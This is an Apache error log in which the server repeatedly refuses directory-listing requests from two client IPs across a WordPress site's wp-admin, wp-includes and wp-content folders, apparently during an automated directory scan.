[Sun Apr 19 02:52:07.783925 2026] [autoindex:error] [pid 32167:tid 32249] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:09.903821 2026] [autoindex:error] [pid 32167:tid 32242] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:14.676584 2026] [autoindex:error] [pid 32167:tid 32237] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:15.200869 2026] [autoindex:error] [pid 32167:tid 32234] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:20.163994 2026] [autoindex:error] [pid 32167:tid 32239] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:22.134961 2026] [autoindex:error] [pid 32167:tid 32242] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:24.127622 2026] [autoindex:error] [pid 32167:tid 32228] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:26.136307 2026] [autoindex:error] [pid 32167:tid 32230] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:26.676104 2026] [autoindex:error] [pid 32167:tid 32248] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:27.204474 2026] [autoindex:error] [pid 32167:tid 32226] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:30.837166 2026] [autoindex:error] [pid 32167:tid 32249] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:34.305855 2026] [autoindex:error] [pid 32167:tid 32245] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:34.824008 2026] [autoindex:error] [pid 32167:tid 32233] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:39.804647 2026] [autoindex:error] [pid 32167:tid 32234] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:41.864459 2026] [autoindex:error] [pid 32167:tid 32228] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:45.330121 2026] [autoindex:error] [pid 32167:tid 32230] [client 45.137.126.60:55539] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:48.803836 2026] [autoindex:error] [pid 32167:tid 32248] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:49.328378 2026] [autoindex:error] [pid 32167:tid 32225] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:49.847191 2026] [autoindex:error] [pid 32167:tid 32235] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:50.383215 2026] [autoindex:error] [pid 32167:tid 32232] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:50.898702 2026] [autoindex:error] [pid 32167:tid 32247] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:02.446986 2026] [autoindex:error] [pid 32167:tid 32228] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:02.974856 2026] [autoindex:error] [pid 32167:tid 32246] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:03.489762 2026] [autoindex:error] [pid 32167:tid 32248] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:04.027008 2026] [autoindex:error] [pid 32167:tid 32247] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:04.543082 2026] [autoindex:error] [pid 32167:tid 32237] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:11.341435 2026] [autoindex:error] [pid 32167:tid 32246] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:13.329945 2026] [autoindex:error] [pid 32167:tid 32229] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:13.854599 2026] [autoindex:error] [pid 32167:tid 32240] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:14.369940 2026] [autoindex:error] [pid 32167:tid 32246] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:14.886024 2026] [autoindex:error] [pid 32167:tid 32233] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:15.401515 2026] [autoindex:error] [pid 32167:tid 32231] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:22.095305 2026] [autoindex:error] [pid 32167:tid 32232] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:27.234406 2026] [autoindex:error] [pid 32167:tid 32248] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:27.760622 2026] [autoindex:error] [pid 32167:tid 32225] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:30.069460 2026] [autoindex:error] [pid 32167:tid 32235] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:37.973520 2026] [autoindex:error] [pid 32167:tid 32239] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:38.490918 2026] [autoindex:error] [pid 32167:tid 32240] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:39.016116 2026] [autoindex:error] [pid 32167:tid 32247] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:39.530453 2026] [autoindex:error] [pid 32167:tid 32235] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:45.873451 2026] [autoindex:error] [pid 32167:tid 32229] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:50.795055 2026] [autoindex:error] [pid 32167:tid 32239] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:53:51.310507 2026] [autoindex:error] [pid 32167:tid 32249] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:05.273022 2026] [autoindex:error] [pid 32167:tid 32230] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:08.736908 2026] [autoindex:error] [pid 32167:tid 32234] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:09.253573 2026] [autoindex:error] [pid 32167:tid 32226] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:09.768662 2026] [autoindex:error] [pid 32167:tid 32247] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:11.759092 2026] [autoindex:error] [pid 32167:tid 32233] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:13.771624 2026] [autoindex:error] [pid 32167:tid 32225] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:34.963367 2026] [autoindex:error] [pid 32167:tid 32230] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:38.130372 2026] [autoindex:error] [pid 32167:tid 32230] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:41.327190 2026] [autoindex:error] [pid 32167:tid 32240] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:44.516799 2026] [autoindex:error] [pid 32167:tid 32232] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:46.521948 2026] [autoindex:error] [pid 32167:tid 32244] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:47.038827 2026] [autoindex:error] [pid 32167:tid 32230] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:49.192760 2026] [autoindex:error] [pid 32167:tid 32226] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:49.716905 2026] [autoindex:error] [pid 32167:tid 32249] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:50.234111 2026] [autoindex:error] [pid 32167:tid 32225] [client 45.137.126.69:59381] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
